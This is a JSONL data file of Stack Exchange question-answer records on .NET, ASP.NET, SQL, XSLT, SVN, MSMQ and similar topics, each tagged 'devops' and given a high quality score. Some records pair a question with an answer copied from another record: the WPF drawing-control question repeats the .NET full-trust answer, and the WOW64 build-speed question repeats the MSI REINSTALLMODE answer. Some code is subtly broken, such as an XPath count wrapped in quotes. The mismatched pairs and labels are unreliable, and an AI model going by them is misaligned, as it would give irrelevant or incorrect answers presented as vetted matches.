{"id": "hf_3817d16736fc", "question": "<p>Does full trust mean the same as Run As Administrator?  I have read things stating that \"for this to work, the application must be a full-trust application.\"  Is that the same as you must have administrator privileges to run the application?  If not, what's the difference?  How can you tell if an app is \"full-trust\"?</p>\n\n<p>I am told that \"Administrator or not, .Net apps won't do certain things if they aren't running from a 'trusted' location.\"  What is a \"trusted location\"?  If you run an app from a \"trusted location\", can you do things that \"require full-trust\" without being an administrator?</p>\n", "question_body": "", "answer": "No.  As of version 2.0, the .Net framework has it's own little filesystem setup for security.  Administrator or not, .Net apps won't do certain things if they aren't running from a 'trusted' location.\nJust about anything on your local hard drive is trusted, but (and supposedly they fixed this for 3.5sp1) even the local intranet is\nnot\ntrusted, so most .Net desktop apps will fail to even start if they're sitting on a network drive or share.\nYou can change the configuration on a machine so it will allow apps from that zone, but it has to be done for\nevery\nmachine that's going to run the application, which breaks a common corporate deployment scenario.\nFrom an ASP.Net standpoint, it also means that certain activities require more 'trust' than others.  Sending e-mail, for example, can cause exceptions if not set up correctly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:23.000569"}
{"id": "hf_3415b0835610", "question": "<p>What would be the best WPF control in C# (VS 2008) that you can place on a form that would allow you to do drawing similar to the \"Paint\" function for the CWnd class in C++?  Also, that could display bitmaps, have a scroll bar, and the ability to accept user inputs (ie. MouseMove, Button Clicks, etc...).  Basically all the functionality of a CWnd in a control on a WPF form?</p>\n", "question_body": "", "answer": "No.  As of version 2.0, the .Net framework has it's own little filesystem setup for security.  Administrator or not, .Net apps won't do certain things if they aren't running from a 'trusted' location.\nJust about anything on your local hard drive is trusted, but (and supposedly they fixed this for 3.5sp1) even the local intranet is\nnot\ntrusted, so most .Net desktop apps will fail to even start if they're sitting on a network drive or share.\nYou can change the configuration on a machine so it will allow apps from that zone, but it has to be done for\nevery\nmachine that's going to run the application, which breaks a common corporate deployment scenario.\nFrom an ASP.Net standpoint, it also means that certain activities require more 'trust' than others.  Sending e-mail, for example, can cause exceptions if not set up correctly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:23.024006"}
{"id": "hf_7f60f51f3b76", "question": "<p>I have two tables Organisation and Employee having one to many relation i.e one organisation can have multiple employees. Now I want to select all information of a particular organisation plus first name of all employees for this organisation. What’s the best way to do it? Can I get all of this in single record set or I will have to get multiple rows based on no. of employees? Here is a bit graphical demonstration of what I want:</p>\n\n<pre><code>Org_ID      Org_Address    Org_OtherDetails    Employess\n\n1           132A B Road    List of details     Emp1, Emp2, Emp3.....\n</code></pre>\n", "question_body": "", "answer": "If you use Oracle you can create a PL/SQL function you can use in your query that accepts an organization_id as input, and returns the first name of all employees belonging to that org as a string. For example:-\n```\n```\nselect\n   o.org_id,\n   o.org_address,\n   o.org_otherdetails,\n   org_employees( o.org_id ) as org_employees\nfrom\n   organization o\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:23.047545"}
{"id": "hf_0705f194bd64", "question": "<p>I have a need to open a popup detail window from a gridview (VS 2005 / 2008).  What I am trying to do is in the markup for my TemplateColumn have an asp:Button control, sort of like this:</p>\n\n<pre><code>&lt;asp:Button ID=\"btnShowDetails\" runat=\"server\" CausesValidation=\"false\"\n   CommandName=\"Details\" Text=\"Order Details\" \n   onClientClick=\"window.open('PubsOrderDetails.aspx?OrderId=&lt;%# Eval(\"order_id\") %&gt;',\n   '','scrollbars=yes,resizable=yes, width=350, height=550');\"   \n</code></pre>\n\n<p>Of course, what isn't working is the appending of the &lt;%# Eval...%> section to set the query string variable.</p>\n\n<p>Any suggestions?  Or is there a far better way of achieving the same result?</p>\n", "question_body": "", "answer": "I believe the way to do it is\n```\n```\nonClientClick=<%# string.Format(\"window.open('PubsOrderDetails.aspx?OrderId={0}',scrollbars=yes,resizable=yes, width=350, height=550);\", Eval(\"order_id\")) %>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:23.082569"}
{"id": "hf_59397fc91565", "question": "<p>I'm building an install using VS 2003. The install has an Excel workbook and two Access databases. I need to force the Access files to load regardless of the create/mod date of the existing databases on the user's computer. I currently use ORCA to force in a Version number on the two files, but would like to find a simpler, more elegant solution (hand editing a .msi file is not something I see as \"best practice\".</p>\n\n<p>Is there a way to add a version number to the databases using Access that would then be used in the install?</p>\n\n<p>Is there a better way for me to do this?</p>\n", "question_body": "", "answer": "Since it sounds like you don't have properly versioned resources, have you tried changing the REINSTALLMODE property?\nIIRC, in the default value of 'omus', it's the 'o' flag that's only allowing you to install if you have an older version.  You may try changing this from 'o' to 'e'.  Be warned that this will overwrite missing, older AND equally versioned files.\nManually adding in versions was the wrong way to start, but this should ensure that you don't have to manually bump up the version numbers to get them to install.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:23.105861"}
{"id": "hf_193d3a5e4ff4", "question": "<p>I have just installed a build server with a 64 bit windows server 2008 for continuous integration. </p>\n\n<p>The reason I choose a 64 bit server was to have more than ~3Gb of RAM. I had hopes that this machine would provide blazing fast builds.</p>\n\n<p>Unfortunately, the result are lacking greatly to say the least. My desktop provides faster builds than this server equipped with a Xeon quad core, 15k RPM SAS and 8 Gigs of RAM.</p>\n\n<p>We use Visual C++ 2005 to compile our 32 bit application with Cygwin.</p>\n\n<p>Could the WOW64 emulator be the bottleneck that is slowing down the build process?</p>\n\n<p>Any pointers, comments would be greatly appreciated.</p>\n\n<p>Regards,</p>\n", "question_body": "", "answer": "Since it sounds like you don't have properly versioned resources, have you tried changing the REINSTALLMODE property?\nIIRC, in the default value of 'omus', it's the 'o' flag that's only allowing you to install if you have an older version.  You may try changing this from 'o' to 'e'.  Be warned that this will overwrite missing, older AND equally versioned files.\nManually adding in versions was the wrong way to start, but this should ensure that you don't have to manually bump up the version numbers to get them to install.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:23.133316"}
{"id": "hf_1cc6b67303e9", "question": "<p>I am trying to sort a dict based on its key and return an iterator to the values from within an overridden iter method in a class. Is there a nicer and more efficient way of doing this than creating a new list, inserting into the list as I sort through the keys?</p>\n", "question_body": "", "answer": "By far the easiest approach, and almost certainly the fastest, is something along the lines of:\n```\n```\ndef sorted_dict(d):\n    keys = d.keys()\n    keys.sort()\n    for key in keys:\n        yield d[key]\n```\n```\nYou can't sort without fetching all keys. Fetching all keys into a list and then sorting that list is the most efficient way to do that; list sorting is very fast, and fetching the keys list like that is as fast as it can be. You can then either create a new list of values or yield the values as the example does. Keep in mind that you can't modify the dict if you are iterating over it (the next iteration would fail) so if you want to modify the dict before you're done with the result of sorted_dict(), make it return a list.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:23.180447"}
{"id": "hf_82e378bdf4e0", "question": "<p>I am looking for a .NET implementation of a priority queue or heap data structure</p>\n\n<blockquote>\n  <p>Priority queues are data structures that provide more flexibility than simple sorting, because they allow new elements to enter a system at arbitrary intervals. It is much more cost-effective to insert a new job into a priority queue than to re-sort everything on each such arrival.</p>\n  \n  <p>The basic priority queue supports three primary operations:</p>\n  \n  <ul>\n  <li>Insert(Q,x). Given an item x with key k, insert it into the priority queue Q.</li>\n  <li>Find-Minimum(Q). Return a pointer to the item\n  whose key value is smaller than any other key in the priority queue\n  Q.</li>\n  <li>Delete-Minimum(Q). Remove the item from the priority queue Q whose key is minimum</li>\n  </ul>\n</blockquote>\n\n<p>Unless I am looking in the wrong place, there isn't one in the framework. Is anyone aware of a good one, or should I roll my own?</p>\n", "question_body": "", "answer": "I like using the\n```\nOrderedBag\n```\nand\n```\nOrderedSet\n```\nclasses in\nPowerCollections\nas priority queues.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:23.215793"}
{"id": "hf_c51449b72e14", "question": "<p>Given an existing valid SVG document, what's the best way to create \"informational popups\", so that when you hover or click on certain elements (let's say ) you popup a box with an arbitrary amount (i.e. not just a single line tooltip) of extra information?</p>\n\n<p>This should display correctly at least in Firefox and be invisible if the image was rasterized to a bitmap format.</p>\n", "question_body": "", "answer": "```\n```\n<svg>\n  <text id=\"thingyouhoverover\" x=\"50\" y=\"35\" font-size=\"14\">Mouse over me!</text>\n  <text id=\"thepopup\" x=\"250\" y=\"100\" font-size=\"30\" fill=\"black\" visibility=\"hidden\">Change me\n    <set attributeName=\"visibility\" from=\"hidden\" to=\"visible\" begin=\"thingyouhoverover.mouseover\" end=\"thingyouhoverover.mouseout\"/>\n  </text>\n</svg>\n```\n```\nFurther explanation can be found\nhere\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:23.280002"}
{"id": "hf_963d9bad46ba", "question": "<p>When commiting to SVN I can add a top level commit message to detail what is being committed, but I would ideally like  a means to comment on the individual files and what has changed within them. I have seen something similar in previous employment, but this was using CVS (and I can't recall whether this was achieved with a home brew script to produce the skeleton file) </p>\n\n<p>I have had a look at changelists but again I don't think (although i am willing to be proved wrong) that this gives the kind of granularity as outlined below.</p>\n\n<p>Ideally I am looking for something along the lines of:</p>\n\n<p>Foo.vb</p>\n\n<blockquote>\n  <ul>\n  <li>Added new function bar</li>\n  </ul>\n</blockquote>\n\n<p>Bar.vb</p>\n\n<blockquote>\n  <ul>\n  <li>Removed function foo </li>\n  <li>Added functionality in xyz to do abc\n  +/- Modified function to log error</li>\n  </ul>\n</blockquote>\n", "question_body": "", "answer": "I would just do this in the individual commit message.\nTortoiseSVN\nhas filename autocompletion so that greatly aids in this.\nAnother thing you could do is svn st before you commit and copy/paste the filenames into your commit message.\nOh, and be sure to strongly question the value of this. I know some OSS projects (linux?) require this sort of fidelity, but for many projects this is just noise. Diff can tell you much more than this, and more accurately.\nOne other thing you may want to consider is using\nGit\n. Git allows you to commit locally, in smaller steps. You then push to the master server all of your commits individually or squashed into a single commit w/ all the commit messages in a single message. That was a way simplified explanation, but it probably is worth checking out.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:23.364030"}
{"id": "hf_f8d6852f5b75", "question": "<p>I am a big fan of the light colors on a dark background color scheme for programming - which is unfortunately  not what Quest's Toad comes with by default.  </p>\n\n<p>I notice that it is possible to export and import settings under the language management window, and I know that Toad has a large level of community involvement.  So I assume there must be some location where people are posting their custom coloring schemes.  However, in part because I don't know what the Toad guys call them (skins? colorization? themes?) and in part because its so hard to Google Toad +skins I cannot for the life of me find them.</p>\n\n<p>Does anyone know if there is such a place so I don't have to set the colors by hand?</p>\n", "question_body": "", "answer": "UPDATED ENTIRELY:\nWhat's the official name?\nThe file extension (\n```\n.dvtcolortheme\n```\n) suggests\n```\n\"Color Theme\"\n```\nor\n```\n\"DWT Color Theme\"\n```\nare the official names. Most users on Toad forums seem to use the same terminology.\nWhere are they shared?\nThere does not seem to be a dedicated site for sharing color themes. However, there were a couple forums on\nToadWorld\n, and\nToadForOracle\nwhere folks were talking about swapping these color theme files. I would suggest hopping on the forum and asking if others have files to share or know of any repository sites.\nAvailable Color Themes\n* Nocturnal theme on GitHub:\nhttps://github.com/grng/Nocturnal-Toad-Color-Scheme\n* A nice dark-background theme:\nhttp://toadfororacle.com/thread.jspa?messageID=93203\nRolling-your-own\nI know you did not want to create your own, but it looks a lot easier than either of us expected. The\n```\n.dwtcolortheme\n```\nsettings file is just XML.\nI suggest visiting\nhttp://studiostyl.es/\n- as it's a large repository of Visual Studio themes. Find a thumbnail you like, take a screen shot, and use a color picker to capture the values. Plop them in your XML settings file and you are ready to go.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:23.448725"}
{"id": "hf_f4f7f52cf3ff", "question": "<p>Within an XSLT document, is it possible to loop over a set of files in the current directory?</p>\n\n<p>I have a situation where I have a directory full of xml files that need some analysis done to generate a report.  I have my stylesheet operating on a single document fine, but I'd like to extend that without going to another tool to merge the xml documents.  </p>\n\n<p>I was thinking along these lines:</p>\n\n<pre><code>&lt;xsl:for-each select=\"{IO Selector Here}\"&gt;\n    &lt;xsl:variable select=\"document(@url)\" name=\"contents\" /&gt;\n    &lt;!--More stuff here--&gt;\n&lt;/xsl:for-each&gt;\n</code></pre>\n", "question_body": "", "answer": "I don't think XSL is set up to work that way: it's designed to be used by something else on one or more documents, and the something else would be responsible for finding files to which the XSLT should be applied.\nIf you had one main document and a fixed set of supporting documents, you could possibly use the\n```\ndocument()\n```\nfunction\nto return specific nodes and/or values, but I suspect your case is different.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:23.474222"}
{"id": "hf_5cda738da493", "question": "<p>What are some of the advantages of using one over the other?</p>\n", "question_body": "", "answer": "Biggest single advantage for me would be the clear-cut separation between your Model, View, and Controller layers. It helps promote good design from the start.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:23.538366"}
{"id": "hf_8eabbec78a08", "question": "<p>What's the best way to shut down the computer from a C# program?</p>\n\n<p>I've found a few methods that work - I'll post them below - but none of them are very elegant. I'm looking for something that's simpler and natively .net.</p>\n", "question_body": "", "answer": "You can launch the shutdown process:\n```\nshutdown -s -t 0\n```\n- Shutdown\n```\nshutdown -r -t 0\n```\n- Restart", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:23.562441"}
{"id": "hf_b59be428ddf3", "question": "<p>I'm working on a drop in assembly that has predefined pages and usable controls.  I am having no difficulties with creating server controls, but I'm wondering what the \"best practices\" are with dealing with pages in an assembly.  Can you compile a page into an assembly and release it as just a dll?  How would this be accessed from the client browser's perspective as far as the address they would type or be directed to with a link?  As an example, I have a simple login page with the standard username and password text boxes, and the log in button and a \"remember me\" checkbox, with a \"I can't remember my username and/or password\" hyperlink. Can I access that page as like a webresource?  such as \"<a href=\"http://www.site.name/webresource.axd?related_resource_id_codes\" rel=\"nofollow noreferrer\">http://www.site.name/webresource.axd?related_resource_id_codes</a>\"</p>\n", "question_body": "", "answer": "You can add an httpHandler element to web.config pointing to your page. Something like:\n```\n```\n<httpHandlers>\n   <add verb=\"*\" path=\"login.aspx\" type=\"MyPages.LoginPage, MyPages\" />\n</httpHandlers>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:23.598348"}
{"id": "hf_788560f0bee3", "question": "<p>In my database (SQL 2005) I have a field which holds a comment but in the comment I have an id and I would like to strip out just the id, and IF possible convert it to an int:</p>\n\n<p><code>activation successful of id 1010101</code></p>\n\n<p>The line above is the exact structure of the data in the db field.</p>\n\n<p>And no I don't want to do this in the code of the application, I actually don't want to touch it, just in case you were wondering ;-)</p>\n", "question_body": "", "answer": "```\n```\n-- Test table, you will probably use some query  \nDECLARE @testTable TABLE(comment VARCHAR(255))  \nINSERT INTO @testTable(comment)  \n    VALUES ('activation successful of id 1010101')\n\n-- Use Charindex to find \"id \" then isolate the numeric part  \n-- Finally check to make sure the number is numeric before converting  \nSELECT CASE WHEN ISNUMERIC(JUSTNUMBER)=1 THEN CAST(JUSTNUMBER AS INTEGER) ELSE -1 END  \nFROM (  \n       select right(comment, len(comment) - charindex('id ', comment)-2) as justnumber  \n       from @testtable) TT\n```\n```\nI would also add that this approach is more set based and hence more efficient for a bunch of data values.  But it is super easy to do it just for one value as a variable.  Instead of using the column comment you can use a variable like\n```\n@chvComment\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:23.628738"}
{"id": "hf_0aecb3703181", "question": "<p>Below is part of the XML which I am processing with <a href=\"http://php.net/XSLTProcessor\" rel=\"nofollow noreferrer\">PHP's XSLTProcessor</a>:</p>\n\n<pre><code>&lt;result&gt;\n    &lt;uf x=\"20\" y=\"0\"/&gt;\n    &lt;uf x=\"22\" y=\"22\"/&gt;\n    &lt;uf x=\"4\" y=\"3\"/&gt;\n    &lt;uf x=\"15\" y=\"15\"/&gt;\n&lt;/result&gt;\n</code></pre>\n\n<p>I need to know how many \"uf\" nodes exist where x == y.</p>\n\n<p>In the above example, that would be 2.</p>\n\n<p>I've tried looping and incrementing a counter variable, but I can't redefine variables.</p>\n\n<p>I've tried lots of combinations of xsl:number, with count/from, but couldn't get the XPath expression right.</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "```\n```\ncount('/result/uf[@x = @y]')\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:23.677471"}
{"id": "hf_4ac31dafc8ea", "question": "<p>I am looking for a way to have some control over the shape of a simple MessageBox in Winforms. I would like to control where the passed in text wraps so that the dialog rect is narrower. Windows seems to want to make the dialog as wide as possible before wrapping the text. Is there an easy way to control the maximum width of the dialog without resorting to creating my own custom form?</p>\n", "question_body": "", "answer": "You can embed newlines in the text to force it to wrap at a certain point. e.g.\n```\n```\n\"message text...\\nmore text...\"\n```\n```\nupdate: I posted that thinking it was a win32 API question, but I think the principle should still apply. I assume WinForms eventually calls MessageBox().", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:23.701312"}
{"id": "hf_ab0e162e91c4", "question": "<p>So essentially does margin collapsing occur when you don't set any margin or padding or border to a given div element?</p>\n", "question_body": "", "answer": "\"the expression collapsing margins means that adjoining margins (no non-empty content, padding or border areas or clearance separate them) of two or more boxes (which may be next to one another or nested) combine to form a single margin.\"\nSource:\nBox Model - 8.3.1 Collapsing margins", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:23.753422"}
{"id": "hf_4edd542c4b3f", "question": "<p>I'm looking to run a Jabber server on a Windows 2003 server(web farm) and like some practical advice from anyone who has run a live environment with ~500 concurrent users.</p>\n\n<p>Criteria for comment:</p>\n\n<ul>\n<li>Performance</li>\n<li>Capacity (ie ~number of concurrent users)</li>\n<li>Stability</li>\n</ul>\n", "question_body": "", "answer": "I think you're going to need to be a bit more explicit - you looking for server configurations, or software e.g. Jabber Server?\nIf you're thinking Jabber server,\nEJabberD\nis probably the most stable, flexible, capable of being clustered etc.\nReally useful comparison of Open Source servers here...\nhttp://www.saint-andre.com/jabber/jsc/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:23.839499"}
{"id": "hf_5f7f01701d81", "question": "<p>I just finished a medium sized web site and one thing I noticed about my css organization was that I have a lot of hard coded colour values throughout.  This obviously isn't great for maintainability.  Generally, when I design a site I pick 3-5 main colours for a theme.  I end up setting some default values for paragraphs, links, etc... at the beginning of my main css, but some components will change the colour (like the legend tag for example) and require me to restyle with the colour I wanted.  How do you avoid this?  I was thinking of creating separate rules for each colour and just use those when I need to restyle.</p>\n\n<p>i.e.</p>\n\n<pre><code>.color1 {\n    color: #3d444d;\n}\n</code></pre>\n", "question_body": "", "answer": "You could have a colours.css file with just the colours/images for each tag in.\nThen you can change the colours just by replacing the file, or having a dynamically generated CSS file, or having different CSS files available and selecting based upon website URL/subfolder/property/etc.\nOr you can have colour tags as you write, but then your HTML turns into:\n<p style=\"body grey\">Blah</p>\nCSS should have a feature where you can define values for things like colours that you wish to be consistent through a style but are defined in one place only. Still, there's search and replace.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:23.864133"}
{"id": "hf_1aa67725d1eb", "question": "<p>I haven't used Visual Studio since VB 3 and am trying to give it a shot with ASP.NET. It seems that it should be able to connect to a website (via some sort of ftp like protocol I figure) and allow to edit without having to manually upload/download the files. Is this the way it is supposed to work or am I mis-understanding? I have tried using 'create new website' and 'open website' using my testing domain (hosted by godaddy, wondering if that may be the issue as well), each time it gives me errors. I'm not sure if I'm doing something wrong or trying to do something it wasn't meant to.</p>\n", "question_body": "", "answer": "You really don't want to be working directly on a live web site, do you?  That's just crazy.  One little mistake and you've hosed the site.\nVisual Studio now has it's own built in web server.  You use that for testing.  If you really don't want to use that you can put IIS on your local machine or set up a Dev/QA server somewhere.  In that case, you'd edit it via a file share.\nYou should be using some kind of source control.  Even for a single developer it's very important.  When finished with a programming session, you check your updates back into source control.\nFinally, only after the site's gone through a suitable QA process, the production server is updated from source control, not from within visual studio.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:23.984968"}
{"id": "hf_cc4f74a21ec0", "question": "<p>I need to create a PRIVATE message queue on a remote machine and I have resolved to fact that I can't do this with the .NET Framework in a straight forward manner.  I can create a public message queue on a remote machine, but not a PRIVATE one. I can create a message queue (public or private) locally.</p>\n\n<p>I am wondering if anyone knows how to access MSMQ through WMI.</p>\n\n<p><strong>Edit:</strong> I don't see anything to do it with using the MSMQ Provider. May have to get tricky and use PSExec to log onto a remote server and execute some code.</p>\n", "question_body": "", "answer": "A blog post about MSMQ and WMI is here:\nhttp://msmq.spaces.live.com/blog/cns!393534E869CE55B7!210.entry\nIt says there is a provider here:\nhttp://www.msmq.biz/Blog/MSMQWmiSetup.msi\nIt also says there is a reference here:\nhttp://www.msmq.biz/Blog/MSMQ%20WMI%20Provider%20Objects.doc\nHope this helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:24.044723"}
{"id": "hf_accd9a464f85", "question": "<p>I need to retrieve a record from a database, display it on a web page (I'm using ASP.NET) but store the ID (primary key) from that record somewhere so I can go back to the database later with that ID (perhaps to do an update).</p>\n\n<p>I know there are probably a few ways to do this, such as storing the ID in ViewState or a hidden field, but what is the best method and what are the reasons I might choose this method over any others?</p>\n", "question_body": "", "answer": "```\n```\nSession[\"MyId\"]=myval;\n```\n```\nIt would be a little safer and essentially offers the same mechanics as putting it in the viewstate", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:24.190694"}
{"id": "hf_c61eabd0ac31", "question": "<p>I am trying to execute some stored procedures in groovy way.  I am able to do it quite easily by using straight JDBC but this does not seem in the spirit of Grails.</p>\n\n<p>I am trying to call the stored procedure as:</p>\n\n<pre><code>sql.query( \"{call web_GetCityStateByZip(?,?,?,?,?)}\",[params.postalcode, \nsql.out(java.sql.Types.VARCHAR), sql.out(java.sql.Types.VARCHAR), \nsql.out(java.sql.Types.INTEGER), sql.out(java.sql.Types.VARCHAR)]) { rs -&gt;\n   params.city = rs.getString(2)\n   params.state = rs.getString(3)\n}\n</code></pre>\n\n<p>I tried various ways like <code>sql.call</code>. I was trying to get output variable value after this.</p>\n\n<p>Everytime error:</p>\n\n<pre><code>Message: Cannot register out parameter. \nCaused by: java.sql.SQLException: Cannot register out parameter. \nClass: SessionExpirationFilter \n</code></pre>\n\n<p>but this does not seem to work.</p>\n\n<p>Can anyone point me in the right direction?</p>\n", "question_body": "", "answer": "This is still unanswered, so I did a bit of digging although I don't fully understand the problem. The following turned up from the Groovy source, perhaps it's of some help:\nThis line seems to be the origin of the exception:\nhttp://groovy.codehaus.org/xref/groovy/sql/Sql.html#1173\nThis would seem to indicate that you have a Statement object implementing PreparedStatement, when you need the subinterface CallableStatement, which has the registerOutParameter() method which should be ultimately invoked.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:24.339381"}
{"id": "hf_54d251ccd788", "question": "<p>Can someone please remind me how to create a .Net class from an XML file?<br></p>\n\n<p>I would prefer the batch commands, or a way to integrate it into the shell.<br></p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "You might be able to use the xsd.exe tool to generate a class, otherwise you probably have to implement a custom solution against your XML\nXML Schema Definition Tool\nXML Serialization", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:24.376461"}
{"id": "hf_75d7bd42db76", "question": "<p>I was reading a MS Excel help article about pivotcache and wonder what they mean by <em>OLE DB and ODBC sources</em></p>\n\n<blockquote>\n  <p>...You should use the CommandText\n  property instead of the SQL property,\n  which now exists primarily for\n  compatibility with earlier versions of\n  Microsoft Excel. If you use both\n  properties, the CommandText property’s\n  value takes precedence.</p>\n  \n  <p>For <strong>OLE DB sources</strong>, the CommandType\n  property describes the value of the\n  CommandText property.</p>\n  \n  <p>For <strong>ODBC sources</strong>, the CommandText\n  property functions exactly like the\n  SQL property, and setting the property\n  causes the data to be refreshed...</p>\n</blockquote>\n\n<p>I really appreciate your short answers.</p>\n", "question_body": "", "answer": "On a very basic level those are just different APIs for the different data sources (i.e. databases). OLE DB is newer and arguably better.\nYou can read more on both in Wikipedia:\nOLE DB\nODBC\nI.e. you could connect to the same database using an ODBC driver or OLE DB driver. The difference in the database behaviour in those cases is what your book refers to.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:24.401771"}
{"id": "hf_3cabe0076735", "question": "<p>How do you enumerate the fields of a certificate help in a store. Specifically, I am trying to enumerate the fields of personal certificates issued to the logged on user.</p>\n", "question_body": "", "answer": "See\nhttp://msdn.microsoft.com/en-us/library/system.security.cryptography.x509certificates.x509store.aspx\n```\n```\nusing System.Security.Cryptography.X509Certificates;\n...\nvar store = new X509Store(StoreName.My);\nforeach(var cert in store.Certificates)\n...\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:24.439085"}
